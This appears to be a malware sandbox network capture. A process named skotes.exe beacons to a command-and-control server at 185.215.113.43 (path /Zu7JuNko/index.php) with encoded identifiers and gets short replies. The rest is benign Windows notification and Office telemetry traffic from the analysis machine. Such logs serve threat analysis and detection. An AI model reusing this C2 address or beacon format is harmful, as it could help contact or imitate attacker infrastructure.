Nov 12, 2024 13:38:45.537117004 CET	314	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 160 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 38 42 30 32 44 37 39 42 32 35 42 38 32 44 31 32 46 43 37 36 31 42 41 33 42 42 33 36 35 46 46 35 37 34 33 33 31 45 34 32 38 36 37 37 39 42 41 45 34 35 33 39 37 34 32 39 39 43 30 42 45 35 35 42 34 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A78B02D79B25B82D12FC761BA3BB365FF574331E4286779BAE453974299C0BE55B4
Nov 12, 2024 13:38:46.689335108 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 12 Nov 2024 12:38:46 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0
Nov 12, 2024 13:38:46.689832926 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 12 Nov 2024 12:38:46 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
70	192.168.2.6	51897	185.215.113.43	80	8976	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 12, 2024 13:38:48.330565929 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Nov 12, 2024 13:38:49.263981104 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 12 Nov 2024 12:38:49 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
71	192.168.2.6	51898	185.215.113.43	80	8976	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 12, 2024 13:38:50.890706062 CET	314	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 160 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 38 42 30 32 44 37 39 42 32 35 42 38 32 44 31 32 46 43 37 36 31 42 41 33 42 42 33 36 35 46 46 35 37 34 33 33 31 45 34 32 38 36 37 37 39 42 41 45 34 35 33 39 37 34 32 39 39 43 30 42 45 35 35 42 34 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A78B02D79B25B82D12FC761BA3BB365FF574331E4286779BAE453974299C0BE55B4
Nov 12, 2024 13:38:51.802814960 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 12 Nov 2024 12:38:51 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
72	192.168.2.6	51900	185.215.113.43	80	8976	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 12, 2024 13:38:53.438400984 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Nov 12, 2024 13:38:54.346916914 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 12 Nov 2024 12:38:54 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
73	192.168.2.6	51901	185.215.113.43	80	8976	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 12, 2024 13:38:55.981643915 CET	314	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 160 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 38 42 30 32 44 37 39 42 32 35 42 38 32 44 31 32 46 43 37 36 31 42 41 33 42 42 33 36 35 46 46 35 37 34 33 33 31 45 34 32 38 36 37 37 39 42 41 45 34 35 33 39 37 34 32 39 39 43 30 42 45 35 35 42 34 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A78B02D79B25B82D12FC761BA3BB365FF574331E4286779BAE453974299C0BE55B4
Nov 12, 2024 13:38:56.895153046 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 12 Nov 2024 12:38:56 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
74	192.168.2.6	51902	185.215.113.43	80	8976	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 12, 2024 13:38:58.538503885 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Nov 12, 2024 13:38:59.423309088 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 12 Nov 2024 12:38:59 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

HTTPS Proxied Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port
0	192.168.2.6	49710	40.115.3.253	443

Timestamp	Bytes transferred	Direction	Data
2024-11-12 12:35:08 UTC	70	OUT	Data Raw: 43 4e 54 20 31 20 43 4f 4e 20 33 30 34 0d 0a 4d 53 2d 43 56 3a 20 75 71 51 6c 35 51 41 59 63 6b 57 4e 6e 51 36 68 2e 31 0d 0a 43 6f 6e 74 65 78 74 3a 20 66 36 31 31 63 32 64 62 66 62 63 63 30 31 61 0d 0a 0d 0a Data Ascii: CNT 1 CON 304MS-CV: uqQl5QAYckWNnQ6h.1Context: f611c2dbfbcc01a
2024-11-12 12:35:08 UTC	249	OUT	Data Raw: 3c 63 6f 6e 6e 65 63 74 3e 3c 76 65 72 3e 32 3c 2f 76 65 72 3e 3c 61 67 65 6e 74 3e 3c 6f 73 3e 57 69 6e 64 6f 77 73 3c 2f 6f 73 3e 3c 6f 73 56 65 72 3e 31 30 2e 30 2e 30 2e 30 2e 31 39 30 34 35 3c 2f 6f 73 56 65 72 3e 3c 70 72 6f 63 3e 78 36 34 3c 2f 70 72 6f 63 3e 3c 6c 63 69 64 3e 65 6e 2d 43 48 3c 2f 6c 63 69 64 3e 3c 67 65 6f 49 64 3e 32 32 33 3c 2f 67 65 6f 49 64 3e 3c 61 6f 61 63 3e 30 3c 2f 61 6f 61 63 3e 3c 64 65 76 69 63 65 54 79 70 65 3e 31 3c 2f 64 65 76 69 63 65 54 79 70 65 3e 3c 64 65 76 69 63 65 4e 61 6d 65 3e 56 4d 77 61 72 65 32 30 2c 31 3c 2f 64 65 76 69 63 65 4e 61 6d 65 3e 3c 66 6f 6c 6c 6f 77 52 65 74 72 79 3e 74 72 75 65 3c 2f 66 6f 6c 6c 6f 77 52 65 74 72 79 3e 3c 2f 61 67 65 6e 74 3e 3c 2f 63 6f 6e 6e 65 63 74 3e Data Ascii: <connect><ver>2</ver><agent><os>Windows</os><osVer>10.0.0.0.19045</osVer><proc>x64</proc><lcid>en-CH</lcid><geoId>223</geoId><aoac>0</aoac><deviceType>1</deviceType><deviceName>VMware20,1</deviceName><followRetry>true</followRetry></agent></connect>
2024-11-12 12:35:08 UTC	1083	OUT	Data Raw: 41 54 48 20 32 20 43 4f 4e 5c 44 45 56 49 43 45 20 31 30 36 30 0d 0a 4d 53 2d 43 56 3a 20 75 71 51 6c 35 51 41 59 63 6b 57 4e 6e 51 36 68 2e 32 0d 0a 43 6f 6e 74 65 78 74 3a 20 66 36 31 31 63 32 64 62 66 62 63 63 30 31 61 0d 0a 0d 0a 3c 64 65 76 69 63 65 3e 3c 63 6f 6d 70 61 63 74 2d 74 69 63 6b 65 74 3e 74 3d 45 77 43 34 41 75 70 49 42 41 41 55 31 62 44 47 66 64 61 7a 69 44 66 58 70 6a 4e 35 4e 36 63 59 68 54 31 77 62 6d 51 41 41 65 66 61 45 58 74 6d 6c 36 59 73 6a 75 35 41 33 6b 48 47 6f 58 69 47 55 63 59 75 77 47 4c 4e 34 6c 56 75 74 39 70 4e 31 6f 63 52 6d 6f 67 45 58 48 76 30 43 54 44 49 7a 32 30 57 79 45 4c 63 41 67 53 57 68 59 79 71 30 4b 71 2f 35 57 54 4c 68 4f 30 6a 56 63 32 53 6d 45 6a 4a 31 48 6d 4c 30 36 45 6d 4d 32 6c 67 35 71 39 71 48 2f 46 Data Ascii: ATH 2 CON\DEVICE 1060MS-CV: uqQl5QAYckWNnQ6h.2Context: f611c2dbfbcc01a<device><compact-ticket>t=EwC4AupIBAAU1bDGfdaziDfXpjN5N6cYhT1wbmQAAefaEXtml6Ysju5A3kHGoXiGUcYuwGLN4lVut9pN1ocRmogEXHv0CTDIz20WyELcAgSWhYyq0Kq/5WTLhO0jVc2SmEjJ1HmL06EmM2lg5q9qH/F
2024-11-12 12:35:08 UTC	217	OUT	Data Raw: 42 4e 44 20 33 20 43 4f 4e 5c 57 4e 53 20 30 20 31 39 36 0d 0a 4d 53 2d 43 56 3a 20 75 71 51 6c 35 51 41 59 63 6b 57 4e 6e 51 36 68 2e 33 0d 0a 43 6f 6e 74 65 78 74 3a 20 66 36 31 31 63 32 64 62 66 62 63 63 30 31 61 0d 0a 0d 0a 3c 77 6e 73 3e 3c 76 65 72 3e 31 3c 2f 76 65 72 3e 3c 63 6c 69 65 6e 74 3e 3c 6e 61 6d 65 3e 57 50 4e 3c 2f 6e 61 6d 65 3e 3c 76 65 72 3e 31 2e 30 3c 2f 76 65 72 3e 3c 2f 63 6c 69 65 6e 74 3e 3c 6f 70 74 69 6f 6e 73 3e 3c 70 77 72 6d 6f 64 65 20 6d 6f 64 65 3d 22 30 22 3e 3c 2f 70 77 72 6d 6f 64 65 3e 3c 2f 6f 70 74 69 6f 6e 73 3e 3c 6c 61 73 74 4d 73 67 49 64 3e 30 3c 2f 6c 61 73 74 4d 73 67 49 64 3e 3c 2f 77 6e 73 3e Data Ascii: BND 3 CON\WNS 0 196MS-CV: uqQl5QAYckWNnQ6h.3Context: f611c2dbfbcc01a<wns><ver>1</ver><client><name>WPN</name><ver>1.0</ver></client><options><pwrmode mode="0"></pwrmode></options><lastMsgId>0</lastMsgId></wns>
2024-11-12 12:35:08 UTC	14	IN	Data Raw: 32 30 32 20 31 20 43 4f 4e 20 35 38 0d 0a Data Ascii: 202 1 CON 58
2024-11-12 12:35:08 UTC	58	IN	Data Raw: 4d 53 2d 43 56 3a 20 53 71 32 62 46 4c 74 6f 45 45 69 67 72 75 43 36 37 4d 61 2b 44 41 2e 30 0d 0a 0d 0a 50 61 79 6c 6f 61 64 20 70 61 72 73 69 6e 67 20 66 61 69 6c 65 64 2e Data Ascii: MS-CV: Sq2bFLtoEEigruC67Ma+DA.0Payload parsing failed.

Session ID	Source IP	Source Port	Destination IP	Destination Port
1	192.168.2.6	49711	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-12 12:35:12 UTC	195	OUT	GET /rules/other-Win32-v19.bundle HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-12 12:35:13 UTC	471	IN	HTTP/1.1 200 OK Date: Tue, 12 Nov 2024 12:35:13 GMT Content-Type: text/plain Content-Length: 218853 Connection: close Vary: Accept-Encoding Cache-Control: public Last-Modified: Mon, 11 Nov 2024 13:19:38 GMT ETag: "0x8DD02537E74B538" x-ms-request-id: a1588731-601e-000d-094b-342618000000 x-ms-version: 2018-03-28 x-azure-ref: 20241112T123513Z-15869dbbcc6sg5zbhC1DFWy5u800000007g000000000cy93 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-12 12:35:13 UTC	15913	IN	Data Raw: 31 30 30 30 76 35 2b 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 30 30 30 22 20 56 3d 22 35 22 20 44 43 3d 22 45 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 52 75 6c 65 45 72 72 6f 72 73 41 67 67 72 65 67 61 74 65 64 22 20 41 54 54 3d 22 66 39 39 38 63 63 35 62 61 34 64 34 34 38 64 36 61 31 65 38 65 39 31 33 66 66 31 38 62 65 39 34 2d 64 64 31 32 32 65 30 61 2d 66 63 66 38 2d 34 64 63 35 2d 39 64 62 62 2d 36 61 66 61 63 35 33 32 35 31 38 33 2d 37 34 30 35 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 53 3d 22 37 30 22 20 44 4c 3d 22 41 22 20 44 43 61 3d 22 50 53 50 20 50 53 55 22 20 Data Ascii: 1000v5+<?xml version="1.0" encoding="utf-8"?><R Id="1000" V="5" DC="ESM" EN="Office.Telemetry.RuleErrorsAggregated" ATT="f998cc5ba4d448d6a1e8e913ff18be94-dd122e0a-fcf8-4dc5-9dbb-6afac5325183-7405" SP="CriticalBusinessImpact" S="70" DL="A" DCa="PSP PSU"
2024-11-12 12:35:13 UTC	16384	IN	Data Raw: 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 2f 52 3e 0d 0a 20 20 20 20 20 20 20 20 3c 2f 4f 3e 0d 0a 20 20 20 20 20 20 3c 2f 52 3e 0d 0a 20 20 20 20 3c 2f 4f 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 42 22 20 49 3d 22 35 22 20 4f 3d 22 66 61 6c 73 65 22 3e 0d 0a 20 20 20 20 3c 4f 20 54 3d 22 41 4e 44 22 3e 0d 0a 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4f 20 54 3d 22 47 45 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 2f 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 52 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 56 20 56 3d 22 34 30 30 22 20 54 3d 22 49 33 32 22 20 2f 3e 0d 0a 20 Data Ascii: /> </R> </O> </R> </O> </C> <C T="B" I="5" O="false"> <O T="AND"> <L> <O T="GE"> <L> <S T="1" F="0" /> </L> <R> <V V="400" T="I32" />
2024-11-12 12:35:13 UTC	16384	IN	Data Raw: 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 30 38 32 30 22 20 56 3d 22 33 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 4f 75 74 6c 6f 6f 6b 2e 44 65 73 6b 74 6f 70 2e 43 6f 6e 74 61 63 74 43 61 72 64 50 72 6f 70 65 72 74 69 65 73 43 6f 75 6e 74 73 22 20 41 54 54 3d 22 64 38 30 37 36 30 39 32 37 36 37 34 34 32 34 35 62 61 66 38 31 62 66 37 62 63 38 30 33 33 66 36 2d 32 32 36 38 65 33 37 34 2d 37 37 36 36 2d 34 39 37 36 2d 62 65 34 34 2d 62 36 61 64 35 62 64 64 63 35 62 36 2d 37 38 31 33 22 20 44 43 61 3d 22 50 53 55 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 41 20 54 3d 22 31 22 20 45 3d 22 54 65 6c 65 6d 65 74 72 79 53 68 75 74 64 6f 77 6e 22 20 2f 3e 0d Data Ascii: .0" encoding="utf-8"?><R Id="10820" V="3" DC="SM" EN="Office.Outlook.Desktop.ContactCardPropertiesCounts" ATT="d807609276744245baf81bf7bc8033f6-2268e374-7766-4976-be44-b6ad5bddc5b6-7813" DCa="PSU" xmlns=""> <S> <A T="1" E="TelemetryShutdown" />
2024-11-12 12:35:13 UTC	16384	IN	Data Raw: 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 39 22 20 4f 3d 22 74 72 75 65 22 20 4e 3d 22 50 75 72 67 65 64 5f 41 67 65 22 3e 0d 0a 20 20 20 20 3c 53 20 54 3d 22 34 22 20 46 3d 22 43 6f 75 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 31 30 22 20 4f 3d 22 74 72 75 65 22 20 4e 3d 22 50 75 72 67 65 64 5f 43 6f 75 6e 74 22 3e 0d 0a 20 20 20 20 3c 53 20 54 3d 22 35 22 20 46 3d 22 43 6f 75 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 31 31 22 20 4f 3d 22 74 72 75 65 22 20 4e 3d 22 46 69 6c 65 5f 43 6f 75 6e 74 22 3e 0d 0a 20 20 20 20 3c 53 20 54 3d 22 38 22 20 46 3d 22 43 6f 75 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 Data Ascii: </C> <C T="U32" I="9" O="true" N="Purged_Age"> <S T="4" F="Count" /> </C> <C T="U32" I="10" O="true" N="Purged_Count"> <S T="5" F="Count" /> </C> <C T="U32" I="11" O="true" N="File_Count"> <S T="8" F="Count" /> </C>
2024-11-12 12:35:13 UTC	16384	IN	Data Raw: 20 20 3c 53 20 54 3d 22 31 30 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 43 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 31 22 20 4f 3d 22 66 61 6c 73 65 22 20 4e 3d 22 43 6f 75 6e 74 5f 43 72 65 61 74 65 43 61 72 64 5f 56 61 6c 69 64 4d 61 6e 61 67 65 72 5f 46 61 6c 73 65 22 3e 0d 0a 20 20 20 20 3c 43 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 43 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 32 22 20 4f 3d 22 66 61 6c 73 65 22 20 4e 3d 22 43 6f 75 6e 74 5f 43 72 65 61 74 65 52 65 73 75 6c 74 5f 56 61 6c 69 64 50 65 72 73 6f 6e 61 5f 46 61 6c 73 65 22 3e 0d 0a 20 20 20 20 3c 43 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 32 22 20 2f 3e 0d 0a 20 Data Ascii: <S T="10" /> </C> </C> <C T="U32" I="1" O="false" N="Count_CreateCard_ValidManager_False"> <C> <S T="11" /> </C> </C> <C T="U32" I="2" O="false" N="Count_CreateResult_ValidPersona_False"> <C> <S T="12" />
2024-11-12 12:35:13 UTC	16384	IN	Data Raw: 50 61 69 6e 74 5f 49 4d 73 6f 50 65 72 73 6f 6e 61 5f 57 61 73 4e 75 6c 6c 5f 43 6f 75 6e 74 22 3e 0d 0a 20 20 20 20 3c 43 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 33 32 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 43 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 32 30 22 20 4f 3d 22 66 61 6c 73 65 22 20 4e 3d 22 50 61 69 6e 74 5f 49 4d 73 6f 50 65 72 73 6f 6e 61 5f 4e 75 6c 6c 5f 43 6f 75 6e 74 22 3e 0d 0a 20 20 20 20 3c 43 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 33 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 43 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 32 31 22 20 4f 3d 22 66 61 6c 73 65 22 20 4e 3d 22 43 6c 65 61 6e 75 70 4d 73 6f 50 65 72 73 6f 6e 61 5f 49 4d 73 6f 50 65 72 73 6f 6e Data Ascii: Paint_IMsoPersona_WasNull_Count"> <C> <S T="32" /> </C> </C> <C T="U32" I="20" O="false" N="Paint_IMsoPersona_Null_Count"> <C> <S T="33" /> </C> </C> <C T="U32" I="21" O="false" N="CleanupMsoPersona_IMsoPerson
2024-11-12 12:35:13 UTC	16384	IN	Data Raw: 20 3c 52 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 56 20 56 3d 22 32 30 30 22 20 54 3d 22 49 36 34 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 2f 52 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 2f 4f 3e 0d 0a 20 20 20 20 20 20 20 20 3c 2f 4c 3e 0d 0a 20 20 20 20 20 20 20 20 3c 52 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 4f 20 54 3d 22 4c 54 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 33 22 20 46 3d 22 52 65 74 72 69 65 76 61 6c 4d 69 6c 6c 69 73 65 63 6f 6e 64 73 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 2f 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 52 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 56 20 56 3d 22 34 30 30 22 Data Ascii: <R> <V V="200" T="I64" /> </R> </O> </L> <R> <O T="LT"> <L> <S T="3" F="RetrievalMilliseconds" /> </L> <R> <V V="400"
2024-11-12 12:35:14 UTC	16384	IN	Data Raw: 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 30 22 20 4f 3d 22 66 61 6c 73 65 22 20 4e 3d 22 4f 63 6f 6d 32 49 55 43 4f 66 66 69 63 65 49 6e 74 65 67 72 61 74 69 6f 6e 46 69 72 73 74 43 61 6c 6c 53 75 63 63 65 73 73 43 6f 75 6e 74 22 3e 0d 0a 20 20 20 20 3c 43 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 43 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 31 22 20 4f 3d 22 66 61 6c 73 65 22 20 4e 3d 22 4f 63 6f 6d 32 49 55 43 4f 66 66 69 63 65 49 6e 74 65 67 72 61 74 69 6f 6e 46 69 72 73 74 43 61 6c 6c 46 61 69 6c 65 64 43 6f 75 6e 74 22 3e 0d 0a 20 20 20 20 3c 43 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 30 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 43 Data Ascii: </S> <C T="U32" I="0" O="false" N="Ocom2IUCOfficeIntegrationFirstCallSuccessCount"> <C> <S T="9" /> </C> </C> <C T="U32" I="1" O="false" N="Ocom2IUCOfficeIntegrationFirstCallFailedCount"> <C> <S T="10" /> </C
2024-11-12 12:35:14 UTC	16384	IN	Data Raw: 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 33 22 20 46 3d 22 54 65 6e 61 6e 74 20 65 6e 61 62 6c 65 64 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 3c 2f 4c 3e 0d 0a 20 20 20 20 20 20 20 20 3c 52 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 33 22 20 46 3d 22 55 73 65 72 20 65 6e 61 62 6c 65 64 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 2f 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 52 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 56 20 56 3d 22 66 61 6c 73 65 22 20 54 3d 22 42 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 2f 52 3e 0d 0a 20 20 20 20 20 20 20 20 20 Data Ascii: L> <S T="3" F="Tenant enabled" /> </L> <R> <O T="EQ"> <L> <S T="3" F="User enabled" /> </L> <R> <V V="false" T="B" /> </R>
2024-11-12 12:35:14 UTC	16384	IN	Data Raw: 75 73 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 3c 2f 4c 3e 0d 0a 20 20 20 20 20 20 20 20 3c 52 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 56 20 56 3d 22 34 30 34 22 20 54 3d 22 55 33 32 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 3c 2f 52 3e 0d 0a 20 20 20 20 20 20 3c 2f 4f 3e 0d 0a 20 20 20 20 3c 2f 46 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 37 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 41 4e 44 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 4f 20 54 3d 22 47 45 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 32 22 20 46 3d 22 48 74 74 70 53 74 61 74 75 73 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 2f 4c 3e 0d 0a 20 20 20 20 20 Data Ascii: us" /> </L> <R> <V V="404" T="U32" /> </R> </O> </F> <F T="7"> <O T="AND"> <L> <O T="GE"> <L> <S T="2" F="HttpStatus" /> </L>

Session ID	Source IP	Source Port	Destination IP	Destination Port
2	192.168.2.6	49714	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-12 12:35:15 UTC	192	OUT	GET /rules/rule224902v2s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
